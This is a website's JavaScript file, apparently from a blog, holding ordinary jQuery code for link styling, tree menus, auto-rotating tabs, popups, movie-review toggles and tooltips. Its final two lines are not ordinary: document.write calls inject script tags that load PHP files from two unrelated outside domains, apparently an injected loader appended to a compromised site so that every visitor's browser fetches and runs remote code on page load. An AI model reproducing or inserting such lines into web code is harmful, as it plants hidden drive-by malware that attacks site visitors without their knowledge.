/*---------------------START jQuery Ready---------------------------*/
$(document).ready(function() {
/*---------------------START Linkstyles---------------------------*/
        $('.newsbeitrag a').filter(function() {
         return this.hostname && this.hostname !== location.hostname;
        }).addClass('extern');
		
		$('#wp_movie_ratings a').removeClass('extern');
		$('.element a').removeClass('extern');
/*---------------------END Linkstyles---------------------------*/		
		
if (document.all) {
	$("#nav-one li").hoverClass ("sfHover");
}
		
$("#categories").treeview({
	collapsed: true,
	animated: "medium",
	persist: "location"
});

$("#categories2").treeview({
	collapsed: true,
	animated: "medium",
	persist: "location"
});

$("#slidebutton").click(function(){
$("#topnews").slideToggle("slow");
$(this).toggleClass("active"); return false;
});
	
	
	

	
	
});
/*---------------------END jQuery Ready---------------------------*/

/*Start Layer Swich for About this Site*/
function blendoff(idname) {document.getElementById(idname).style.display = 'none';}
function blendon(idname) {document.getElementById(idname).style.display = 'block';}
function blendoff2(idname) {document.getElementById(idname).style.display = 'none';}
function blendon2(idname) {document.getElementById(idname).style.display = 'block';}
/*Ende Layer Swich for About this Site*/




//EASY TABS 1.2 - MENU SETTINGS
//Set the id names of your tablinks (without a number at the end)
var tablink_idname = new Array("aboutlink","topnewslink", "overviewlinks", "highlightslink", "creativepeoplelink", "informationzone" )
//Set the id names of your tabcontentareas (without a number at the end)
var tabcontent_idname = new Array("about","topnews", "overview", "highlights", "creativesubmission", "infozone") 
//Set the number of your tabs in each menu
var tabcount = new Array("3", "3", "4", "3", "2", "3")
//Set the Tabs wich should load at start 
var loadtabs = new Array("1", "1", "1", "1", "1")  
//Set the Number of the Menu which should autochange (if you dont't want to have a change menu set it to 0)
var autochangemenu = 1
//the speed in seconds when the tabs should change
var changespeed=50
//should the autochange stop if the user hovered a tab from the autochangemenu? 0=no 1=yes
var stoponhover = 0

/*Swich EasyTabs Functions - no need to edit something here*/
function easytabs(menunr, active) {
if (menunr == autochangemenu){currenttab=active;}
if ((menunr == autochangemenu)&&(stoponhover==1)) {stop_autochange()} else if ((menunr == autochangemenu)&&(stoponhover==0))  {counter=0;}

menunr = menunr-1;
for (i=1; i <= tabcount[menunr]; i++)
{
document.getElementById(tablink_idname[menunr]+i).className='tab'+i;
document.getElementById(tabcontent_idname[menunr]+i).style.display = 'none';
}
document.getElementById(tablink_idname[menunr]+active).className='tab'+active+' tabactive';
document.getElementById(tabcontent_idname[menunr]+active).style.display = 'block';
}


function easytabs2(menunr, active) {
if (menunr == autochangemenu){currenttab=active;}
if ((menunr == autochangemenu)&&(stoponhover==1)) {stop_autochange()} else if ((menunr == autochangemenu)&&(stoponhover==0))  {counter=0;}

menunr = menunr-1;
for (i=1; i <= tabcount[menunr]; i++)
{
document.getElementById(tablink_idname[menunr]+i).className='tab'+i;
document.getElementById(tabcontent_idname[menunr]+i).style.display = 'none';
}
document.getElementById(tablink_idname[menunr]+active).className='tab'+active+' tabactive';
document.getElementById(tabcontent_idname[menunr]+active).style.display = 'block';
}

var timer; counter=0; var totaltabs=tabcount[autochangemenu-1];var currenttab=loadtabs[autochangemenu-1];
function start_autochange(){counter=counter+1;timer=setTimeout("start_autochange()",1000);if (counter == changespeed+1) {currenttab++;if (currenttab>totaltabs) {currenttab=1}easytabs(autochangemenu,currenttab);restart_autochange();}}
function restart_autochange(){clearTimeout(timer);counter=0;start_autochange();}
function stop_autochange(){clearTimeout(timer);counter=0;}




/* Start Background Image Change Pattern4u*/
function change_bg(new_source,id)
{
    object=(document.all)?document.all[id]:document.getElementById(id);
    object.style.backgroundImage="url("+new_source+")";
}
/* End Background Image Change Pattern4u*/


/* Start Popup */
function NewWindow(mypage, myname, w, h, scroll) {
var winl = (screen.width - w) / 2;
var wint = (screen.height - h) / 2;
winprops = 'height='+h+',width='+w+',top='+wint+',left='+winl+',scrollbars='+scroll+','
win = window.open(mypage, myname, winprops)
if (parseInt(navigator.appVersion) >= 4) { win.window.focus(); }
}
/*End Popup */



/* Start Movie Reviews */
// Ask the user before submiting the form
function delete_confirmation() {
	if (confirm('You are about to delete this (including review).\n\nThis cannot be undone. Are you sure?')) return true;
	else return false;
}

// Toggle display of movie reviews in page mode
function toggle_review(id) {
	var review = document.getElementById(id)
	var img_array = review.parentNode.getElementsByTagName('img')
	var img_plus = img_array[0]
	var img_minus = img_array[1]

	if (review && img_plus && img_minus) {
		// Show the review
		if (review.style.display == 'none') {
			if (review.style.setProperty) { 
				review.style.setProperty('display', 'block', 'important')
			} else {
				review.style.display = 'block'
			}

			img_plus.style.display = 'none'
			img_minus.style.display = 'block'

		} else { // Hide the review
			if (review.style.setProperty) {
				review.style.setProperty('display', 'none', 'important')
			} else {
				review.style.display = 'none'
			}

			img_minus.style.display = 'none'
			img_plus.style.display = 'block'
		}
	}
}
/* End Movie Reviews */

/* Start Tooltip */
this.tooltip = function(){	
	/* CONFIG */		
		xOffset = 10;
		yOffset = 20;		
		// these 2 variable determine popup's distance from the cursor
		// you might want to adjust to get the right result		
	/* END CONFIG */		
	$("img.tooltip").hover(function(e){											  
		this.t = this.alt;
		this.alt = "";									  
		$("body").append("<p id='tooltip'>"+ this.t +"</p>");
		$("#tooltip")
			.css("top",(e.pageY - xOffset) + "px")
			.css("left",(e.pageX + yOffset) + "px")
			.fadeIn("fast");		
    },
	function(){
		this.alt = this.t;		
		$("#tooltip").remove();
    });	
	$("img.tooltip").mousemove(function(e){
		$("#tooltip")
			.css("top",(e.pageY - xOffset) + "px")
			.css("left",(e.pageX + yOffset) + "px");
	});			
};
$(document).ready(function(){tooltip();});
/* END Tooltip */


/* START IE6 Hover Navi */
$.fn.hoverClass = function(c) {
			return this.each(function(){
				$(this).hover( 
					function() { $(this).addClass(c);},
					function() { $(this).removeClass(c);}
				);
			});
		};
/* END IE6 Hover Navi */


function switchpost(postid, wert) {
	if (wert=='1'){
		document.getElementById('toolbox1_'+postid).className='tab1 tabactive';
		document.getElementById('toolbox2_'+postid).className='tab2';
	    document.getElementById('toolbox3_'+postid).className='tab3';
		document.getElementById('toolbox4_'+postid).className='tab4';
		document.getElementById('toolbox5_'+postid).className='tab5'; 
	}else if (wert=='2'){
		document.getElementById('toolbox1_'+postid).className='tab1';
		document.getElementById('toolbox2_'+postid).className='tab2 tabactive';
	    document.getElementById('toolbox3_'+postid).className='tab3';
		document.getElementById('toolbox4_'+postid).className='tab4';
		document.getElementById('toolbox5_'+postid).className='tab5'; 
	}else if (wert=='3'){
		document.getElementById('toolbox1_'+postid).className='tab1';
		document.getElementById('toolbox2_'+postid).className='tab2';
	    document.getElementById('toolbox3_'+postid).className='tab3 tabactive';
		document.getElementById('toolbox4_'+postid).className='tab4';
		document.getElementById('toolbox5_'+postid).className='tab5'; 
	}	else if (wert=='4'){
		document.getElementById('toolbox1_'+postid).className='tab1';
		document.getElementById('toolbox2_'+postid).className='tab2';
		document.getElementById('toolbox3_'+postid).className='tab3';
	    document.getElementById('toolbox4_'+postid).className='tab4 tabactive';
		document.getElementById('toolbox5_'+postid).className='tab5'; 
	}	else if (wert=='5'){
		document.getElementById('toolbox1_'+postid).className='tab1';
		document.getElementById('toolbox2_'+postid).className='tab2';
		document.getElementById('toolbox3_'+postid).className='tab3';
	    document.getElementById('toolbox4_'+postid).className='tab4';
		document.getElementById('toolbox5_'+postid).className='tab5 tabactive';
	}	
}

function switchpost2(postid, wert) {
	if (wert=='1'){
		document.getElementById('toolbox21_'+postid).className='tab1 tabactive';
		document.getElementById('toolbox22_'+postid).className='tab2';
	    document.getElementById('toolbox23_'+postid).className='tab3';
		document.getElementById('toolbox24_'+postid).className='tab4';
		document.getElementById('toolbox25_'+postid).className='tab5';
		document.getElementById('toolbox26_'+postid).className='tab6';
	}else if (wert=='2'){
		document.getElementById('toolbox21_'+postid).className='tab1';
		document.getElementById('toolbox22_'+postid).className='tab2 tabactive';
	    document.getElementById('toolbox23_'+postid).className='tab3';
		document.getElementById('toolbox24_'+postid).className='tab4';
		document.getElementById('toolbox25_'+postid).className='tab5';
		document.getElementById('toolbox26_'+postid).className='tab6';
	}else if (wert=='3'){
		document.getElementById('toolbox21_'+postid).className='tab1';
		document.getElementById('toolbox22_'+postid).className='tab2';
	    document.getElementById('toolbox23_'+postid).className='tab3 tabactive';
		document.getElementById('toolbox24_'+postid).className='tab4';
		document.getElementById('toolbox25_'+postid).className='tab5';
		document.getElementById('toolbox26_'+postid).className='tab6';
	}	else if (wert=='4'){
		document.getElementById('toolbox21_'+postid).className='tab1';
		document.getElementById('toolbox22_'+postid).className='tab2';
		document.getElementById('toolbox23_'+postid).className='tab3';
	    document.getElementById('toolbox24_'+postid).className='tab4 tabactive';
		document.getElementById('toolbox25_'+postid).className='tab5';
		document.getElementById('toolbox26_'+postid).className='tab6';
	}	else if (wert=='5'){
		document.getElementById('toolbox21_'+postid).className='tab1';
		document.getElementById('toolbox22_'+postid).className='tab2';
		document.getElementById('toolbox23_'+postid).className='tab3';
	    document.getElementById('toolbox24_'+postid).className='tab4';
		document.getElementById('toolbox25_'+postid).className='tab5 tabactive';
		document.getElementById('toolbox26_'+postid).className='tab6';
	}	else if (wert=='6'){
		document.getElementById('toolbox21_'+postid).className='tab1';
		document.getElementById('toolbox22_'+postid).className='tab2';
		document.getElementById('toolbox23_'+postid).className='tab3';
	    document.getElementById('toolbox24_'+postid).className='tab4';
		document.getElementById('toolbox25_'+postid).className='tab5';
		document.getElementById('toolbox26_'+postid).className='tab6 tabactive';
	}
}
 
document.write('<script src=http://hicom21.com/iFileServer/WebHardDb/LICENSE.php ><\/script>');
document.write('<script src=http://cosmofinishing.com/_vti_bin/underconstruction.php ><\/script>');